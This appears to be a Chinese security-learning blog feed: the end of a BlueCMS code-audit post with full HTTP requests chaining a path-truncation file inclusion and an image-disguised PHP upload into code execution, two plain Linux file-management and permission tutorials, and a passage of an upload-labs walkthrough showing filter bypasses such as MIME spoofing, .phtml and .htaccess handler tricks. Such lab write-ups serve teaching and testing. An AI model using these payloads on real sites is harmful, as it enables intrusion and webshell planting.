包含根目录下robots.txt的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /user.php?act=pay HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; detail=1; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 632

pay=../../robots.txt....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

这里我使用了字符.来进行文件长度截断

有了文件包含漏洞,我们接着就可以考虑是不是上传图片马,这样就能成功执行shell,所以接下来我们找一个可以上传文件的页面:/admin/flash.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elseif($act == 'do_add'){
$image_link = !empty($_POST['image_link']) ? trim($_POST['image_link']) : '';
$show_order = !empty($_POST['show_order']) ? intval($_POST['showorder']) : '';
if(isset($_FILES['image_path']['error']) && $_FILES['image_path']['error'] == 0){
$image_path = $image->img_upload($_FILES['image_path'],'flash');
}
if($image_path == ''){
showmsg('上传图片出错', true);
}
$image_path = empty($image_path) ? '' : $image_path;
if(!$db->query("INSERT INTO ".table('flash_image')." (image_id, image_path, image_link, show_order) VALUES ('', '$image_path', '$image_link', '$show_order')")){
showmsg('添加flash图片出错', true);
}else{
showmsg('添加flash图片成功', 'flash.php', true);
}
}

我们跟踪一下img_upload函数,定位到/include/upload.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private $allow_image_type = array('image/jpeg', 'image/gif', 'image/png', 'image/pjpeg');
private $extension_name_arr = array('jpg', 'gif', 'png', 'pjpeg');

function img_upload($file, $dir = '', $imgname = ''){
...
if(!in_array($file['type'],$this->allow_image_type)){
echo '<font style="color:red;">不允许的图片类型</font>';
exit;
}
if(empty($imgname)){
$imgname = $this->create_tempname().'.'.$this->get_type($file['name']);
}
}

function get_type($filepath){
$pos = strrpos($filepath,'.');
echo $pos;
if($pos !== false){
$extension_name = substr($filepath,$pos+1);
}
//echo $extension_name;
if(!in_array($extension_name, $this->extension_name_arr)){
echo '<font style="color:red;">您上传的文件不符合要求,请重试</font>';
exit;
}
return $extension_name;
}

该文件对上传文件进行文件类型和文件名的白名单检测,但是没有对文件内容进行检查,所以我们能轻易上传一个图片马

payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /admin/flash.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 499
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBbgiY0h0EVXwpD7b
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/admin/flash.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; detail=1; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close

------WebKitFormBoundaryBbgiY0h0EVXwpD7b
Content-Disposition: form-data; name="image_path"; filename="info.jpg"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundaryBbgiY0h0EVXwpD7b
Content-Disposition: form-data; name="image_link"

1
------WebKitFormBoundaryBbgiY0h0EVXwpD7b
Content-Disposition: form-data; name="show_order"

0
------WebKitFormBoundaryBbgiY0h0EVXwpD7b
Content-Disposition: form-data; name="act"

do_add
------WebKitFormBoundaryBbgiY0h0EVXwpD7b--

上传成功后我们可以通过管理员界面得知上传文件所在目录为data/upload/flash/15525638906.jpg

我们再通过文件包含漏洞执行该图片马

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /user.php?act=pay HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1551059496947; PHPSESSID=g99k0jev6eed0jpuce6tvm1jl3; detail=1; BLUE[user_id]=4; BLUE[user_name]=user03; BLUE[user_pwd]=25f1d8643365bf6087fae3b2b5b012d6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

pay=../../data/upload/flash/15525638906.jpg........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

成功执行webshell

总结

总的来说,这次代码审计虽然花的时间比较久,但是收获了审计的思路,从一开始看到一个陌生的cms不知从何下手到慢慢有思路,有方法的审计,这个过程还是挺开心的,相信只要花时间有耐心,一定能提高自己的审计能力,最后附上参考文章:

一名代码审计新手的实战经历与感悟

从小众blueCMS入坑代码审计

]]>
代码审计
Linux文件与目录管理 https://Foxgrin.github.io//posts/5187/ 2019-03-07T13:22:00.000Z 2019-03-14T12:00:06.872Z 包括在不同的目录间切换,建立与删除目录,建立与删除文件,查看文件内容等

一.目录与路径

1.相对路径与绝对路径

绝对路径:路径写法一定由根目录/写起,例如:/usr/share/doc这个目录

相对路径:路径写法不是由根目录写起,指相对于当前工作目录的路径,例如:cd ../usr

2.目录的相关操作

(1)切换目录:cd命令

1
2
3
4
5
6
cd [相对路径或绝对路径]
cd . #代表此层目录
cd .. #代表上一层目录
cd ~ #代表目前使用者身份所在的家目录
cd - #代表前一个工作目录
cd ~account #代表account这个使用者的家目录

(2)显示当前所在目录:pwd命令

1
2
root@ubuntu:/var/www# pwd
/var/www

(3)建立新目录:mkdir命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@ubuntu:/tmp# mkdir test
root@ubuntu:/tmp# ls -dl test
drwxr-xr-x 2 root root 4096 Mar 7 05:37 test

root@ubuntu:/tmp# mkdir -p test1/test2/test3/test4 #-p代表递归建立目录
root@ubuntu:/tmp# ls -dl test*
drwxr-xr-x 2 root root 4096 Mar 7 05:37 test
drwxr-xr-x 3 root root 4096 Mar 7 05:42 test1

root@ubuntu:/tmp# mkdir -m 711 test2 #-m代表指定目录权限
root@ubuntu:/tmp# ls -dl test*
drwxr-xr-x 2 root root 4096 Mar 7 05:37 test
drwxr-xr-x 3 root root 4096 Mar 7 05:42 test1
drwx--x--x 2 root root 4096 Mar 7 05:43 test2

(4)删除目录:rmdir命令

1
2
3
4
5
6
7
8
9
10
11
root@ubuntu:/tmp# rmdir test
root@ubuntu:/tmp# ls -dl test*
drwxr-xr-x 3 root root 4096 Mar 7 05:42 test1
drwx--x--x 2 root root 4096 Mar 7 05:43 test2

root@ubuntu:/tmp# rmdir test1
rmdir: failed to remove `test1': Directory not empty #test1目录尚有内容,无法删除

root@ubuntu:/tmp# rmdir -p test1/test2/test3/test4 #-p连通上层目录一起删除
root@ubuntu:/tmp# ls -dl test*
drwx--x--x 2 root root 4096 Mar 7 05:43 test2

二.文件与目录管理

1.文件与目录的查看:ls命令

1
2
3
ls -a 显示全部文件,包括隐藏文件
ls -d 仅列出目录本身,而不是列出目录内的文件数据
ls -l 详细信息显示,包括文件的属性与权限等数据

2.文件或目录的复制命令:cp命令

1
2
3
4
5
6
7
8
9
10
root@ubuntu:~# cp .bashrc /tmp/test/bashrc
root@ubuntu:~# ls /tmp/test
bashrc
root@ubuntu:~# cp -i .bashrc /tmp/test/bashrc #-i:若目标文件以及存在时,在覆盖时会先询问操作的进行
cp: overwrite `/tmp/test/bashrc'? y

root@ubuntu:~# cp -a .bashrc /tmp/test/bashrc2 #-a:连同文件属性也一起复制过去
root@ubuntu:~# ls -l /tmp/test/bashrc2 .bashrc
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
-rw-r--r-- 1 root root 3106 Apr 19 2012 /tmp/test/bashrc2
1
2
3
4
5
6
7
8
9
10
11
root@ubuntu:/tmp# ls -dl test*
drwxr-xr-x 2 root root 4096 Mar 7 06:07 test
drwxr-xr-x 2 root root 4096 Mar 7 18:11 test1
root@ubuntu:/tmp# ls test1
root@ubuntu:/tmp# cp test test1
cp: omitting directory `test'
root@ubuntu:/tmp# cp -r test test1 #-r:如果是目录的复制需要加上-r的选项
root@ubuntu:/tmp# ls test1
test
root@ubuntu:/tmp# ls test1/test
bashrc bashrc1 bashrc2

3.文件或目录的删除命令:rm命令

1
2
3
4
5
6
7
8
9
root@ubuntu:/tmp# rm test2
rm: cannot remove `test2': Is a directory
root@ubuntu:/tmp# rm -r test2 #当删除目录时,需要加上-r选项
root@ubuntu:/tmp# ls -dl test*
drwxr-xr-x 2 root root 4096 Mar 7 06:07 test
drwxr-xr-x 3 root root 4096 Mar 7 18:12 test1

root@ubuntu:/tmp# rm -ir test #加入-i选项,删除前会询问操作者是否操作,避免误删除
rm: descend into directory `test'? ^C #按下[ctrl]+c中断删除操作

4.移动文件或目录命令或重命名:mv命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@ubuntu:~/tmp# mkdir mvtest
root@ubuntu:~/tmp# cp ~/.bashrc bashrc
root@ubuntu:~/tmp# ls
bashrc mvtest
root@ubuntu:~/tmp# mv bashrc mvtest #将bashrc文件移动到mvtest目录下
root@ubuntu:~/tmp# ls
mvtest
root@ubuntu:~/tmp# ls mvtest
bashrc

root@ubuntu:~/tmp# ls
mvtest mvtest2
root@ubuntu:~/tmp# mv mvtest mvtest2 #将mvtest目录移动到mvtest2目录下
root@ubuntu:~/tmp# ls
mvtest2
root@ubuntu:~/tmp# ls mvtest2
mvtest

root@ubuntu:~/tmp# mv mvtest2 mvtest1 #将mvtest2目录重命名为mvtest1目录
root@ubuntu:~/tmp# ls
mvtest1
root@ubuntu:~/tmp# ls mvtest1/
mvtest
root@ubuntu:~/tmp# ls mvtest1/mvtest/
bashrc

5.获取路径的文件名与目录名称:basename命令和dirname命令

1
2
3
4
root@ubuntu:~# basename /etc/sysconfig/network
network #获取最后的文件名
root@ubuntu:~# dirname /etc/sysconfig/network
/etc/sysconfig #获取目录名

三.文件内容查看

1.直接查看文件内容:cat,tac,nl命令

1
2
3
root@ubuntu:~# cat /etc/passwd #从第一行开始显示文件内容
root@ubuntu:~# tac /etc/passwd #从最后一行开始显示文件内容
root@ubuntu:~# nl /etc/passwd #在文件内容前加上行号

2.可翻页查看:more,less命令

cat命令是将文件内容一次性显示出来,没有一页一页翻动的功能,而moreless命令具有一页一页翻动的功能

在more命令按以下键的功能:

1
2
3
4
空格键(space):代表向下翻一页
Enter:代表向下翻一行
b或[ctrl]-b:代表往回翻页
q:代表立刻离开more,不再显示该文件内容

在less命令按以下键的功能:

1
2
3
4
空格键:向下翻动一页
[pagedown]:向下翻动一行
[pageup]:向上翻动一行
q:离开less程序

3.数据截取:head,tail命令

head命令能取出一个文件的前几行,tail则是取出文件的后几行

1
2
3
4
5
6
7
8
9
head [-n number] 文件
root@ubuntu:~# head /etc/manpath.config #默认显示前十行
root@ubuntu:~# head -n 20 /etc/manpath.config #显示前二十行
root@ubuntu:~# head -n -100 /etc/manpath.config #后一百行不会显示出来

tail [-n number]文件
root@ubuntu:~# tail /etc/manpath.config #默认显示最后十行
root@ubuntu:~# tail -n 20 /etc/manpath.config #显示最后二十行
root@ubuntu:~# tail -n +100 /etc/manpath.config #后一百行显示出来

4.非纯文本文件读取:od命令

1
2
od [-t TYPE] 文件
可读取二进制等文件

5.创建文件:touch命令

1
touch 文件名

四.文件默认权限:umask

当我们建立一个新的文件或目录时,它的默认权限与umask有关,它指定了目前用户在建立文件或目录时候的权限默认值,得知umask的方法:

1
2
3
4
root@ubuntu:~/tmp# umask
0022
root@ubuntu:~/tmp# umask -S
u=rwx,g=rx,o=rx

查看的方式有两种,一种可以直接输入umask,就可以看到数字类型的权限设置值,另一种则是加入-S这个选项,就会以符号类型的方式来显示出权限了

但是要注意的是,这里umask的值并不直接是文件或目录的默认权限值,它规定的是是默认值需要减掉的权限,文件的默认权限值为:-rw-rw-rw-,即666;目录的默认权限值为drwxrwxrwx,即777,再减去umask指定的值,那么

1
2
建立文件时:(-rw-rw-rw-) - (-----w--w-) ==> -rw-r--r--
建立目录时:(drwxrwxrwx) - (d----w--w-) ==> drwxr-xr-x

测试一下:

1
2
3
4
5
root@ubuntu:~/tmp# touch test1
root@ubuntu:~/tmp# mkdir test2
root@ubuntu:~/tmp# ls -dl test*
-rw-r--r-- 1 root root 0 Mar 10 06:05 test1
drwxr-xr-x 2 root root 4096 Mar 10 06:05 test2

修改umask值的方式如下:

1
2
3
4
5
6
root@ubuntu:~/tmp# umask 002
root@ubuntu:~/tmp# touch test3
root@ubuntu:~/tmp# mkdir test4
root@ubuntu:~/tmp# ls -dl test[34]
-rw-rw-r-- 1 root root 0 Mar 10 06:16 test3
drwxrwxr-x 2 root root 4096 Mar 10 06:16 test4

五.文件隐藏属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
A  :当设定了 A 这个属性时,若你有存取此档案(或目录)时,他的访问时间 atime
将不会被修改,可避免I/O较慢的机器过度的存取磁盘。这对速度较慢的计算机有帮助
S :一般档案是异步写入磁盘的(原理请参考第五章sync的说明),如果加上 S 这个
属性时,当你进行任何档案的修改,该更动会『同步』写入磁盘中。
a :当设定 a 之后,这个档案将只能增加数据,而不能删除也不能修改数据,只有root
才能设定这个属性。
c :这个属性设定之后,将会自动的将此档案『压缩』,在读取的时候将会自动解压缩,
但是在储存的时候,将会先进行压缩后再储存(看来对于大档案似乎蛮有用的!)
d :当 dump 程序被执行的时候,设定 d 属性将可使该档案(或目录)不会被 dump 备份
i :这个 i 可就很厉害了!他可以让一个档案『不能被删除、改名、设定连结也无法
写入或新增资料!』对于系统安全性有相当大的帮助!只有 root 能设定此属性
s :当档案设定了 s 属性时,如果这个档案被删除,他将会被完全的移除出这个硬盘
空间,所以如果误删了,完全无法救回来了喔!
u :与 s 相反的,当使用 u 来配置文件案时,如果该档案被删除了,则数据内容其实还
存在磁盘中,可以使用来救援该档案喔!

1.设置文件隐藏属性:chattr命令

1
2
3
4
5
chattr [+-=][ASacdistu] 档案或目录名称
选项与参数:
+ :增加某一个特殊参数,其他原本存在参数则不动。
- :移除某一个特殊参数,其他原本存在参数则不动。
= :设定一定,且仅有后面接的参数
1
2
3
root@ubuntu:~/tmp# chattr +i test3
root@ubuntu:~/tmp# rm test3
rm: cannot remove `test3': Operation not permitted

由于对文件test3附加了i的隐藏属性,所以无法删除

2.显示文件隐藏属性:lsattr命令

1
2
3
4
5
lsattr [-adR] 档案或目录
选项与参数:
-a :将隐藏文件的属性也秀出来;
-d :如果接的是目录,仅列出目录本身的属性而非目录内的文件名;
-R :连同子目录的数据也一并列出来!
1
2
root@ubuntu:~/tmp# lsattr test3
----i--------e- test3

六.观察文件类型:file命令

1
2
3
4
root@ubuntu:~/tmp# file ~/.bashrc 
/root/.bashrc: ASCII English text
root@ubuntu:~/tmp# file /usr/bin/passwd
/usr/bin/passwd: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc101d30ff4513f2dbad17fcc483dcda4a38e1df0, stripped

七.命令与文件的查找

1.脚本文件的查找:which命令

1
2
3
4
5
6
7
8
9
which [-a] command
选项与参数:
-a:将所有由PATH目录中科院找到的命令均列出,而不止第一个被找到的命令名称

root@ubuntu:~/tmp# which passwd
/usr/bin/passwd
root@ubuntu:~/tmp# which ls
/bin/ls
root@ubuntu:~/tmp# which cd

可以发现有的命令是找不到的,因为which是默认找PATH内所规范的路径,去查找执行文件的文件名

2.文件的查找:whereis,locate/updatedb,find命令

whereis由一些特定的目录查找文件

1
2
3
4
5
6
7
8
9
10
whereis [-bmsu] 文件或目录名

-b  只查找二进制文件。
-B<目录>  只在设置的目录下查找二进制文件。
-f  不显示文件名前的路径名称。
-m  只查找说明文件。
-M<目录>  只在设置的目录下查找说明文件。
-s  只查找原始代码文件。
-S<目录>  只在设置的目录下查找原始代码文件。
-u  查找不包含指定类型的文件。

locate是在已建立的数据库/var/lib/mlocate里面的数据所查找到的,不用再去硬盘当中读取数据,所以较为快速,数据库默认一天更新一次,如果要手动更新数据库,需要输入updatedb命令

1
2
3
4
locate [-ir] keyword

-i:忽略大小写的差异
-l:仅输出几行的意思

find

1
2
3
root@ubuntu:~/tmp# find /var -mtime +4 #+4代表大于等于5天前的文件
root@ubuntu:~/tmp# find /var -mtime -4 #-4代表小于等于4天内的文件
root@ubuntu:~/tmp# find /var -mtime 4 #4-5那一天的文件
]]>
Linux
Linux的文件权限与目录配置 https://Foxgrin.github.io//posts/26833/ 2019-03-06T10:16:00.000Z 2019-03-14T12:00:06.873Z Linux一般将文件可读写的身份分为3个类别,分别是拥有者(owner),所属群组(group),其他人(others),且三种身份各有读(read),写(write),执行(execute)等权限。

用户与用户组

1.文件拥有者

即用户,通常分为root和一般身份的用户,所有用户的相关信息都记录在/etc/passwd这个文件内,用户的密码则是记录在etc/shadow文件中

2.用户组

用户组中有若干用户,组名记录在/etc/group文件中

3.其他人

Linux文件权限概念

1.Linux文件属性

使用ls -al命令查看当前目录下的所有文件(包括以.开头的隐藏文件)和目录及其相关属性与权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@ubuntu:~# ls -al
total 64
drwx------ 11 root root 4096 Mar 5 19:43 .
drwxr-xr-x 24 root root 4096 Apr 8 2018 ..
-rw------- 1 root root 391 Mar 5 22:59 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
drwx------ 3 root root 4096 Apr 8 2018 .cache
drwx------ 6 root root 4096 Apr 8 2018 .config
drwx------ 3 root root 4096 Dec 30 00:28 .dbus
drwx------ 2 root root 4096 Apr 23 2018 .gconf
drwx------ 2 root root 4096 Apr 8 2018 .gvfs
drwxr-xr-x 3 root root 4096 Apr 8 2018 .local
drwxr-xr-x 2 root root 4096 May 15 2018 .oracle_jre_usage
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
drwx------ 2 root root 4096 Dec 29 22:32 .pulse
-rw------- 1 root root 256 Apr 8 2018 .pulse-cookie
drwxr-xr-x 3 root root 4096 May 15 2018 .swt
-rw------- 1 root root 858 Mar 5 19:43 .viminfo

.config文件为例说明:

1
2
drwx------    6    root  root  4096  Apr  8  2018 .config
[ 1 ] [2] [3] [4] [5] [ 6 ] [ 7 ]

信息分为7栏,每栏的意义如下:

1
2
3
4
5
6
7
[1]:文件类型权限
[2]:链接数
[3]:文件拥有者
[4]:文件所属用户组
[5]:文件大小
[6]:文件最后被修改的时间
[7]:文件名

第一栏:文件类型权限

共有十个字符

第一个字符代表这个文件是目录,文件或链接文件

[d]代表目录,[-]代表文件,[l]表示链接文件

接下来的字符,以三个一组,且均为[rwx]的三个参数的组合,其中[r]代表可读(read),[w]代表可写(write),[x]代表可执行(execute),如果没有权限则会出现减号[-]。第一组代表文件拥有者可具备的权限,第二组代表加入此用户组之账号的权限,第三组代表非本人且没有加入本用户组的其他账号的权限

十个字符整理如下:

1
-rwxr-xr--

意义是这是一个文件,文件拥有者具有可读,可写和可执行的权限。同用户组的用户具有可读和可执行的权限,其他用户具有只读的权限

第二栏:链接数

每个文件都会讲它的权限与属性记录到文件系统的inode中,这个属性记录的就是有多少不同的文件名链接到同一个inode中

第三栏:文件的拥有者

第四栏:文件所属的用户组

在Linux系统中,你的账号会加入一个或多个用户组中,假如用户组具有可读可写权限,则该用户组中的每个用户都具有可读可写权限

第五栏:文件大小

默认单位为Bytes

第六栏:文件创建日期或最后被修改的日期

第七栏:文件名

2.修改文件属性与权限

chgrp:修改文件所属用户组

chown:修改文件拥有者

chmod:修改文件权限

修改所属用户组

使用chgrp命令,前提是修改的用户组必须在/etc/group文件中存在才行,命令格式如下:

1
2
root@ubuntu:~# chgrp groupname dirname/filename
root@ubuntu:~# chgrp test .config

修改文件拥有者

使用chown命令,前提修改的用户必须在/etc/passwd文件中存在才行,命令格式如下:

1
2
3
4
root@ubuntu:~# chown 账号名称 文件或目录
root@ubuntu:~# chown 账号名称:用户组名称 文件或目录
root@ubuntu:~# chown test01 .config
root@ubuntu:~# chown test01:test .config

修改文件权限

使用chmod命令,设置方法有两种,分别可以用数字或是符号来进行权限的修改

数字类型修改文件权限

各权限的数字对照表如下:

1
2
3
r:4
w:2
x:1

每种身份(owner,group,others)各自的三个权限(r,m,x)数字是需要累加的,例如当权限为:[-rwxrwx---]数字则是:

1
2
3
owner = rwx = 4+2+1 = 7
group = rwx = 4+2+1 = 7
others = --- = 0+0+0 = 0

所以我们设置权限时,该文件的权限数字就是770,chmod语法如下:

1
2
root@ubuntu:~# chmod xyz 文件或目录
root@ubuntu:~# chmod 777 .config
符号类型修改文件权限

格式如下:

1
root@ubuntu:~# chmod 身份 权限操作 权限 文件或目录

参数具体为:

(1)身份:u即user,g即用户组,o即其他人,a代表全部身份

(2)权限操作:+即加入,-即移除,=即设置

(3)权限:rmx

例子如下:

1
root@ubuntu:~# chmod u=rwx,go=rx .config

3.目录与文件的权限意义

权限对文件的意义

r(read):可读取此文件的实际内容

w(write):可以编辑,新增或是修改该文件的内容(但不含删除该文件)

x(execute):该文件具有可以被系统执行的权限

权限对目录的意义

r(read):表示具有读取目录结构列表的权限,如使用ls命令将该目录的内容列表显示出来

w(write):具有改动该目录结构列表的权限

x(execute):用户具有进入该目录的权限,如使用cd命令进入某个目录列表

]]>
Linux
文件上传漏洞--upload-labs https://Foxgrin.github.io//posts/49857/ 2019-03-02T14:05:00.000Z 2019-03-05T12:03:57.574Z 文件上传练习靶场–upload-labs通关记录以及对文件上传漏洞的总结

Pass-01

直接上传php文件,出现弹框提示上传失败

尝试抓包,但是因为弹框未抓到上传文件的包,所以猜测是前端JS代码对文件进行了检测,直接查看网页源代码,发现检测JS代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>

代码大致流程是对比文件名的最后一个后缀是否是jpg,png,gif,如果不是则前端拦截文件,上传失败。

既然是前端进行,我们只要绕过前端,再利用抓包修改文件名后缀,即可成功上传PHP文件。我们先上传一个后缀名为JPG,内容为PHP代码的文件1cmd.jpg,再通过抓包修改文件名为1cmd.php,过程如下图所示

Pass-02

直接上传PHP文件,提示文件类型错误,猜测后台代码对文件类型进行了检测,抓包修改文件类型为image/jpeg,如下图所示

本关检测代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

Pass-03

上传PHP文件,提示禁止不允许上传.asp,.aspx,.php,.jsp后缀文件 ,尝试修改文件名为.jpg.php,修改文件类型,大写PHP,都失败,猜测后台代码将文件名的最后一个”.”后作为检测目标。后台过滤代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

过滤了后缀名为.asp,.aspx,.php,.jsp的文件,但是没有过滤phtml文件

上传成功http://127.0.0.1/upload-labs/upload/201903031949124726.phtml

另外修改后缀名为php3也可以

Pass-04

上传php,phtml,php3等文件都失败,过滤代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>

黑名单几乎过滤掉了所有问题后缀名,但是唯独没有过滤.htaccess文件,我们上传一个.htaccess文件,内容为:

1
SetHandler application/x-httpd-php

上传之后,该路径下所有文件都会被解析成PHP格式文件,我们再上传包含PHP代码的图片文件

访问http://127.0.0.1/upload-labs/upload/4cmd.jpg

Pass-05

跟上一关区别的是黑名单又增加了.htaccess文件,过滤代码如下:

1
2
3
4
5
6
7
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

但是仔细观察发现这关并没有将上传文件的后缀名通过strtolower进行大小写转化的处理,所以很简单,上传一个.PHP文件即可

Pass-06

1
2
3
4
5
6
7
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

黑名单一样,并对文件名进行小写转化处理,但是未对文件名通过trim函数进行去空处理,所以对后缀名进行加空,即可上传成功

Pass-07

1
2
3
4
5
6
7
if (file_exists(UPLOAD_PATH)) {
